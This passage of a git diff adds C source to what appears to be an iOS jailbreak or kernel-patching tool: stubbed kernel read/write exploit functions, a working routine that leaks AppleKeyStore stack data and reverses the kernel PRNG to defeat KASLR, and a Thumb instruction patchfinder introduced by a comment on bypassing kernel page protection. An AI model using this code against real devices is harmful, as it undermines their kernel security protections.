macho_command_load(unsigned char* data, uint32_t offset); +void macho_command_debug(macho_command_t* command); +void macho_command_free(macho_command_t* command); + +/* + * Mach-O Command Info Functions + */ +macho_command_info_t* macho_command_info_create(); +macho_command_info_t* macho_command_info_load(unsigned char* data, uint32_t offset); +void macho_command_info_debug(macho_command_info_t* info); +void macho_command_info_free(macho_command_info_t* info); + +#endif /* MACHO_COMMAND_H_ */ diff --git a/patch/patch/dangu.c b/patch/patch/dangu.c new file mode 100644 index 0000000..1dec847 --- /dev/null +++ b/patch/patch/dangu.c @@ -0,0 +1,38 @@ +// +// dangu.c +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include +#include +#include +#include +#include + +#include "kernel.h" + +int dangu_exploit(void* kernel) { + kernel_t* kern = (kernel_t*)kernel; + + return 0; +} + +vm_address_t dangu_kernel_get(vm_address_t address) { + return 0; +} + +void dangu_kernel_set(vm_address_t address, void* value) { + return; +} + +vm_size_t dangu_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} + +vm_size_t dangu_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} \ No newline at end of file diff --git a/patch/patch/dangu.h b/patch/patch/dangu.h new file mode 100644 index 0000000..94cc6c6 --- /dev/null +++ b/patch/patch/dangu.h @@ -0,0 +1,26 @@ +// +// dangu.h +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef patch_dangu_h +#define patch_dangu_h + +#include +#include +#include +#include +#include +#include + +int dangu_exploit(void* kernel); + +vm_address_t dangu_kernel_get(vm_address_t address); +void dangu_kernel_set(vm_address_t address, void* value); +vm_size_t dangu_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t dangu_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/debug.h b/patch/patch/debug.h new file mode 100644 index 0000000..48014b8 --- /dev/null +++ b/patch/patch/debug.h @@ -0,0 +1,42 @@ +/** + * libcrippy-1.0 - debug.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef DEBUG_H_ +#define DEBUG_H_ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#ifdef _DEBUG +#define info(...) syslog(LOG_ERR, __VA_ARGS__) +#define error(...) syslog(LOG_ERR, __VA_ARGS__) +#define debug(...) syslog(LOG_ERR, __VA_ARGS__) +#else +#define info(...) syslog(LOG_ERR, __VA_ARGS__) +#define error(...) syslog(LOG_ERR, __VA_ARGS__) +#define debug(...) +#endif + +void hexdump(unsigned char* buf, unsigned int len); + +#endif /* DEBUG_H_ */ diff --git a/patch/patch/devtree.c b/patch/patch/devtree.c new file mode 100644 index 0000000..3c41f93 --- /dev/null +++ b/patch/patch/devtree.c @@ -0,0 +1,88 @@ +// +// main.c +// kaslr_slide +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "kernel.h" + +io_service_t devtree_get_service(const char *name) { + CFMutableDictionaryRef matching; + io_service_t service = 0; + + matching = IOServiceMatching(name); + if(matching == NULL) { + return 0; + } + + while(!service) { + CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + if(service) break; + + sleep(1); + CFRelease(matching); + } + + CFRelease(matching); + return service; +} + +vm_address_t devtree_get_bootargs() { + void* bootargs = 0; + unsigned char buf[sizeof(unsigned long)*4]; + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("device-tree")); + if(service) { + CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformArgs"), kCFAllocatorDefault, 0); + if(macData != NULL) { + CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), buf); + + bootargs = *(unsigned long*)&buf[sizeof(unsigned long)]; + + CFRelease(macData); + IOObjectRelease(service); + } + IOObjectRelease(service); + } + return bootargs; +} + +vm_address_t devtree_get_base(kernel_t* kernel) { + syslog(LOG_ERR, "Entering devtree_get_base"); + void* bootargs = devtree_get_bootargs(); + syslog(LOG_ERR, "Found Boot-Args at %p", bootargs); + vm_address_t kernbase = kernel->get(bootargs+4); + if (kernel->get(kernbase) == 0xFEEDFACE) { + syslog(LOG_ERR, "Hello Kernel!! :-) 0x%08lx", kernel->get(kernbase)); + syslog(LOG_ERR, "0x%08lx", kernbase); + } else { + syslog(LOG_ERR, "Goodbye Kernel :-( 0x%08lx", kernel->get(kernbase)); + } + + return kernbase+0x1000; +} + +vm_offset_t devtree_get_slide(kernel_t* kernel) { + return 0; +} + diff --git a/patch/patch/devtree.h b/patch/patch/devtree.h new file mode 100644 index 0000000..afac85c --- /dev/null +++ b/patch/patch/devtree.h @@ -0,0 +1,23 @@ +// +// devicetree.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_devicetree_h +#define chop_devicetree_h + +#include +#include +#include + +#include "kernel.h" + +vm_address_t devtree_get_bootargs(); +vm_offset_t devtree_get_slide(kernel_t* kernel); +vm_address_t devtree_get_base(kernel_t* kernel); + + +#endif diff --git a/patch/patch/earlyrandom.c b/patch/patch/earlyrandom.c new file mode 100644 index 0000000..ee15094 --- /dev/null +++ b/patch/patch/earlyrandom.c @@ -0,0 +1,230 @@ +// +// earlyrandom.c +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "kernel.h" +#include "earlyrandom.h" + +static uint64_t +get_prev_output( uint64_t output, uint8_t bits, uint32_t n ) +{ + uint32_t i, j; + uint64_t s, sa[4]; + // Only lower 19 bits of input state needed + s = ( output & 0xffff ) << 3 | bits; + // Go back to starting state of current output + for ( j = 0; j < 3; j++ ) + { + s = ( s - 12345 ) * 125797; + } + // Backtrack n outputs (four LCG rounds per output) + for ( i = 0; i < n; i++ ) + { + for ( j = 0; j < 4; j++ ) + { + s = sa[j] = ( s - 12345 ) * 125797; + } + } + return ( ( sa[0] >> 3 ) & 0xffff ) | + ( ( ( sa[1] >> 3 ) << 16 ) & 0xffff0000 ) | + ( ( ( sa[2] >> 3 ) << 32 ) & 0xffff00000000 ) | + ( ( ( sa[3] >> 3 ) << 48 ) & 0xffff000000000000 ); +} + +static uint64_t +get_next_output( uint64_t output, uint8_t bits, uint32_t n ) +{ + uint32_t i, j; + uint64_t s, sa[4]; + // Only lower 19 bits of input state needed + s = ( output & 0xffff ) << 3 | bits; + // Skip ahead n outputs + for ( i = 0; i < n; i++ ) + { + // Four LCG rounds per output + for ( j = 0; j < 4; j++ ) + { + s = sa[j] = 1103515245 * s + 12345; + } + } + return ( ( sa[3] >> 3 ) & 0xffff ) | + ( ( ( sa[2] >> 3 ) << 16 ) & 0xffff0000 ) | + ( ( ( sa[1] >> 3 ) << 32 ) & 0xffff00000000 ) | + ( ( ( sa[0] >> 3 ) << 48 ) & 0xffff000000000000 ); +} + +static uint64_t +get_output( uint64_t output, uint8_t bits, int n ) +{ + if (n < 0) { + return get_prev_output(output, bits, -n); + } + if (n > 0) { + return get_next_output(output, bits, n); + } + if (n == 0) { + return output; + } + return 0; +} + +static int recover_prng_output_64(uint64_t pointer, uint64_t *output, uint8_t *weak) +{ + uint64_t state_1, state_2, state_3, state_4; + uint64_t value_c; + uint8_t bits, carry; + + // Brute force carry bit + for (carry = 0; carry < 2; carry++) + { + value_c = (pointer - (carry * 0x100000000)) - 0xffffff8000000000; + // Brute force the least significant bits of the state, + // discarded from the PRNG output + for (bits = 0; bits < 8; bits++) + { + state_1 = (((value_c >> 48) & 0xffff) << 3) | bits; + state_2 = 1103515245 * state_1 + 12345; + if (((state_2 >> 3) & 0xffff) == ((value_c >> 32) & 0xffff)) + { + // Compute the full PRNG output + state_3 = 1103515245 * state_2 + 12345; + state_4 = 1103515245 * state_3 + 12345; + *output = (((state_1 >> 3) & 0xffff) << 48) | + (((state_2 >> 3) & 0xffff) << 32) | + (((state_3 >> 3) & 0xffff) << 16) | + (((state_4 >> 3) & 0xffff)); + *weak = state_4 & 7; + return 1; + } + } + } + return 0; +} + +static int recover_prng_output_32(uint32_t value, uint64_t *output, uint8_t *weak, uint16_t mask, uint8_t *startbit) +{ + uint64_t state_1, state_2, state_3, state_4; + uint64_t value_c; + uint8_t bits; + + value_c = value; + + for (bits = *startbit; bits < 8; bits ++) + { + state_1 = (((value_c >> 16) & 0xffff) << 3) | bits; + state_2 = 1103515245 * state_1 + 12345; + if ((((state_2 >> 3) & mask)) == ((value_c) & mask)) + { + *output = (((state_1 >> 3) & 0xffff) << 16 ) | + (((state_2 >> 3) & 0xffff) << 0); + *weak = state_2 & 7; + *startbit = bits; + return 1; + } + } + return 0; +} + +bool get_all_kernel_slides(vm_address_t *pKrnlBase, vm_address_t *pVmPerm) +{ + CFMutableDictionaryRef matching = IOServiceMatching("AppleKeyStore"); + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + io_connect_t connection; + kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connection); + if (kr != KERN_SUCCESS) + return false; + + unsigned int type; + mach_vm_address_t obj_addr = 0; + mach_port_kobject(mach_task_self(), connection, &type, &obj_addr); + + uint64_t output[50] = {0}; + uint32_t outputCount = 50; + + kr = IOConnectCallMethod(connection, 0, NULL, 0, NULL, 0, output, &outputCount, NULL, NULL); + IOServiceClose(connection); + if (kr != KERN_SUCCESS) + return false; + + vm_address_t *stack_addr = (vm_address_t *)output; + + uint64_t prng; + uint8_t weak; + vm_address_t vm_perm; + vm_address_t krnl_base; + int ret = 0; + +#ifndef __LP64__ + uint8_t bits = 0; + uint32_t stack_cookie = stack_addr[18]; + krnl_base = (stack_addr[8] & 0xffe00000) + 0x1000; + if (stack_addr[1] == 0) + krnl_base = (stack_addr[9] & 0xffe00000) + 0x1000; + // 通过规律查找 + // for (int i=0; i<32; i++) + // { + // if (stack_addr[i] == 0x7010001) + // krnl_base = (stack_addr[i + 5] & 0xffe00000) + 0x1000; + // if (stack_addr[i] == 0x1694) + // stack_cookie = stack_addr[i - 4]; + // } + ret = recover_prng_output_32(stack_cookie, &prng, &weak, 0x00ff, &bits); + vm_perm = get_output(prng, weak, 6) | 1; + + syslog(LOG_ERR, "get lr %x stack %x vmperm %x ret %x", stack_addr[8], stack_cookie, vm_perm, ret); +#else + ret = recover_prng_output_64((uint64_t)obj_addr, &prng, &weak); + krnl_base = (stack_addr[10] & 0xffffff80ffe00000) + 0x2000; + vm_perm = prng | 1; + // 通过规律查找 + // for (int i=0; i<16; i++) + // { + // if (stack_addr[i] == 0x151300000000) + // krnl_base = (stack_addr[i - 1] & 0xffffff80ffe00000) + 0x2000; + // } + + for (int i=0; i<16; i++) + NSLog(@"%d: %p", i, stack_addr[i]); +#endif + + if (ret == 0) + return false; + + *pKrnlBase = krnl_base; + *pVmPerm = vm_perm; + + syslog(LOG_ERR, "Get kernel address %p vmperm %p", (void *)krnl_base, (void *)vm_perm); + + + return true; +} + +vm_offset_t earlyrandom_get_slide(kernel_t* kernel) { + return 0; +} + +vm_address_t earlyrandom_get_base(kernel_t* kernel) { + vm_address_t *krnl_base; + vm_address_t *vm_perm; + if(get_all_kernel_slides(krnl_base, vm_perm)) { + return krnl_base; + } + return 0; +} \ No newline at end of file diff --git a/patch/patch/earlyrandom.h b/patch/patch/earlyrandom.h new file mode 100644 index 0000000..acb0ae3 --- /dev/null +++ b/patch/patch/earlyrandom.h @@ -0,0 +1,19 @@ +// +// earlyrandom.h +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef patch_earlyrandom_h +#define patch_earlyrandom_h + +#include + +#include "kernel.h" + +vm_offset_t earlyrandom_get_slide(kernel_t* kernel); +vm_address_t earlyrandom_get_base(kernel_t* kernel); + +#endif diff --git a/patch/patch/find.c b/patch/patch/find.c new file mode 100644 index 0000000..133d229 --- /dev/null +++ b/patch/patch/find.c @@ -0,0 +1,1489 @@ +/* + * Shadowmapping, a way of bypassing iOS 'kernel page bits protection'. + * (ARM32 only for now obviously.) + * + * Also a very nice and easy way of copying data in and out of kernel memory + * by breaking the barrier entirely. Thank you TTBCR and split TTBR0/TTBR1!<3 + * + * Control flow goes like this if you have a write anywhere exploit: + * + * - Find location of kernel_pmap (dereference to get kernel_pmap_store.) + * - Get virtual address of TTE base (struct is as follows... + * typedef struct __pmap_t { + * uint32_t tte_virt; + * uint32_t tte_phys; + * ..... + * } pmap_t; + * + * - Write TTE entries. + * - Own the kernel. + * - ??? + * - PROFIT. + * + * with love from @winocm, greets to @planetbeing for patchfinder. + * + * Optimally, this would be best done with a write/read kernel exploit primitive set, + * however, you can do this with a write-only one if you use static offsets (which will work, + * as the kernel isn't randomized in physical memory space.) + */ + +#include +#include +#include +#include +#include + +#include "find.h" +#include "kernel.h" +#include "macho.h" + +//static mach_port_t kernel_task = 0; +static uint32_t ttb_template[TTB_SIZE] = {}; +static void* ttb_template_ptr = &ttb_template[0]; +//static uint32_t kernel_base = DEFAULT_KERNEL_SLIDE; + +typedef struct pmap_partial_t { + uint32_t tte_virt; + uint32_t tte_phys; + /* ... */ +} pmap_partial_t; + +static uint32_t bit_range(uint32_t x, int start, int end) +{ + x = (x << (31 - start)) >> (31 - start); + x = (x >> end); + return x; +} + +static uint32_t ror(uint32_t x, int places) +{ + return (x >> places) | (x << (32 - places)); +} + +static int thumb_expand_imm_c(uint16_t imm12) +{ + if(bit_range(imm12, 11, 10) == 0) + { + switch(bit_range(imm12, 9, 8)) + { + case 0: + return bit_range(imm12, 7, 0); + case 1: + return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); + case 2: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); + case 3: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); + default: + return 0; + } + } else + { + uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); + return ror(unrotated_value, bit_range(imm12, 11, 7)); + } +} + +static int insn_is_32bit(uint16_t* i) +{ + return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; +} + +static int insn_is_bl(uint16_t* i) +{ + if((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) + return 1; + else if((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) + return 1; + else + return 0; +} + +static uint32_t insn_bl_imm32(uint16_t* i) +{ + uint16_t insn0 = *i; + uint16_t insn1 = *(i + 1); + uint32_t s = (insn0 >> 10) & 1; + uint32_t j1 = (insn1 >> 13) & 1; + uint32_t j2 = (insn1 >> 11) & 1; + uint32_t i1 = ~(j1 ^ s) & 1; + uint32_t i2 = ~(j2 ^ s) & 1; + uint32_t imm10 = insn0 & 0x3ff; + uint32_t imm11 = insn1 & 0x7ff; + uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); + return imm32; +} + +static int insn_is_b_conditional(uint16_t* i) +{ + return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; +} + +static int insn_is_b_unconditional(uint16_t* i) +{ + if((*i & 0xF800) == 0xE000) + return 1; + else if((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) + return 1; + else + return 0; +} + +static int insn_is_ldr_literal(uint16_t* i) +{ + return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; +} + +static int insn_ldr_literal_rt(uint16_t* i) +{ + if((*i & 0xF800) == 0x4800) + return (*i >> 8) & 7; + else if((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_ldr_literal_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x4800) + return (*i & 0xF) << 2; + else if((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); + else + return 0; +} + +// TODO: More encodings +static int insn_is_ldr_imm(uint16_t* i) +{ + uint8_t opA = bit_range(*i, 15, 12); + uint8_t opB = bit_range(*i, 11, 9); + + return opA == 6 && (opB & 4) == 4; +} + +static int insn_ldr_imm_rt(uint16_t* i) +{ + return (*i & 7); +} + +static int insn_ldr_imm_rn(uint16_t* i) +{ + return ((*i >> 3) & 7); +} + +static int insn_ldr_imm_imm(uint16_t* i) +{ + return ((*i >> 6) & 0x1F); +} + +// TODO: More encodings +static int insn_is_ldrb_imm(uint16_t* i) +{ + return (*i & 0xF800) == 0x7800; +} + +static int insn_ldrb_imm_rt(uint16_t* i) +{ + return (*i & 7); +} + +static int insn_ldrb_imm_rn(uint16_t* i) +{ + return ((*i >> 3) & 7); +} + +static int insn_ldrb_imm_imm(uint16_t* i) +{ + return ((*i >> 6) & 0x1F); +} + +static int insn_is_ldr_reg(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return 1; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return 1; + else + return 0; +} + +static int insn_ldr_reg_rn(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return (*i >> 3) & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*i & 0xF); + else + return 0; +} + +int insn_ldr_reg_rt(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return *i & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +int insn_ldr_reg_rm(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return (*i >> 6) & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_ldr_reg_lsl(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return 0; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 4) & 0x3; + else + return 0; +} + +static int insn_is_add_reg(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return 1; + else if((*i & 0xFF00) == 0x4400) + return 1; + else if((*i & 0xFFE0) == 0xEB00) + return 1; + else + return 0; +} + +static int insn_add_reg_rd(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return (*i & 7); + else if((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if((*i & 0xFFE0) == 0xEB00) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_add_reg_rn(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return ((*i >> 3) & 7); + else if((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if((*i & 0xFFE0) == 0xEB00) + return (*i & 0xF); + else + return 0; +} + +static int insn_add_reg_rm(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return (*i >> 6) & 7; + else if((*i & 0xFF00) == 0x4400) + return (*i >> 3) & 0xF; + else if((*i & 0xFFE0) == 0xEB00) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_is_movt(uint16_t* i) +{ + return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_movt_rd(uint16_t* i) +{ + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_movt_imm(uint16_t* i) +{ + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); +} + +static int insn_is_mov_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return 1; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return 1; + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return 1; + else + return 0; +} + +static int insn_mov_imm_rd(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return (*i >> 8) & 7; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_mov_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2000) + return *i & 0xF; + else if((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else if((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_is_cmp_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return 1; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return 1; + else + return 0; +} + +static int insn_cmp_imm_rn(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return (*i >> 8) & 7; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return *i & 0xF; + else + return 0; +} + +static int insn_cmp_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x2800) + return *i & 0xFF; + else if((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else + return 0; +} + +static int insn_is_and_imm(uint16_t* i) +{ + return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_and_imm_rn(uint16_t* i) +{ + return *i & 0xF; +} + +static int insn_and_imm_rd(uint16_t* i) +{ + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_and_imm_imm(uint16_t* i) +{ + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); +} + +static int insn_is_push(uint16_t* i) +{ + if((*i & 0xFE00) == 0xB400) + return 1; + else if(*i == 0xE92D) + return 1; + else if(*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1; + else + return 0; +} + +static int insn_push_registers(uint16_t* i) +{ + if((*i & 0xFE00) == 0xB400) + return (*i & 0x00FF) | ((*i & 0x0100) << 6); + else if(*i == 0xE92D) + return *(i + 1); + else if(*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1 << ((*(i + 1) >> 12) & 0xF); + else + return 0; +} + +static int insn_is_preamble_push(uint16_t* i) +{ + return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; +} + +static int insn_is_str_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 1; + else if((*i & 0xF800) == 0x9000) + return 1; + else if((*i & 0xFFF0) == 0xF8C0) + return 1; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return 1; + else + return 0; +} + +static int insn_str_imm_postindexed(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 1; + else if((*i & 0xF800) == 0x9000) + return 1; + else if((*i & 0xFFF0) == 0xF8C0) + return 1; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 10) & 1; + else + return 0; +} + +static int insn_str_imm_wback(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return 0; + else if((*i & 0xF800) == 0x9000) + return 0; + else if((*i & 0xFFF0) == 0xF8C0) + return 0; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 8) & 1; + else + return 0; +} + +static int insn_str_imm_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i & 0x07C0) >> 4; + else if((*i & 0xF800) == 0x9000) + return (*i & 0xFF) << 2; + else if((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) & 0xFFF); + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_str_imm_rt(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i & 7); + else if((*i & 0xF800) == 0x9000) + return (*i >> 8) & 7; + else if((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) >> 12) & 0xF; + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_str_imm_rn(uint16_t* i) +{ + if((*i & 0xF800) == 0x6000) + return (*i >> 3) & 7; + else if((*i & 0xF800) == 0x9000) + return 13; + else if((*i & 0xFFF0) == 0xF8C0) + return (*i & 0xF); + else if((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*i & 0xF); + else + return 0; +} + +// Given an instruction, search backwards until an instruction is found matching the specified criterion. +static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) +{ + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(match_func(current_instruction)) + { + return current_instruction; + } + } + + return NULL; +} + +// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. +static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) +{ + // Find the last instruction that completely wiped out this register + int found = 0; + uint16_t* current_instruction = insn; + while((uintptr_t)current_instruction > (uintptr_t)kdata) + { + if(insn_is_32bit(current_instruction - 2)) + { + current_instruction -= 2; + } else + { + --current_instruction; + } + + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) + { + found = 1; + break; + } + + if(insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) + { + found = 1; + break; + } + } + + if(!found) + return 0; + + // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. + uint32_t value = 0; + while((uintptr_t)current_instruction < (uintptr_t)insn) + { + if(insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) + { + value = insn_mov_imm_imm(current_instruction); + } else if(insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) + { + value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); + } else if(insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) + { + value |= insn_movt_imm(current_instruction) << 16; + } else if(insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) + { + if(insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) + { + // Can't handle this kind of operation! + return 0; + } + + value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return value; +} + +// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. +static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) +{ + uint16_t* current_instruction = insn; + uint32_t value[16]; + memset(value, 0, sizeof(value)); + + while((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) + { + if(insn_is_mov_imm(current_instruction)) + { + value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); + } else if(insn_is_ldr_literal(current_instruction)) + { + uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); + if(literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) + { + value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); + } + } else if(insn_is_movt(current_instruction)) + { + value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; + } else if(insn_is_add_reg(current_instruction)) + { + int reg = insn_add_reg_rd(current_instruction); + if(insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) + { + value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; + if(value[reg] == address) + { + return current_instruction; + } + } + } + + current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; + } + + return NULL; +} + +struct find_search_mask +{ + uint16_t mask; + uint16_t value; +}; + +// Search the range of kdata for a series of 16-bit values that match the search mask. +static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) +{ + uint16_t* end = (uint16_t*)(kdata + ksize - 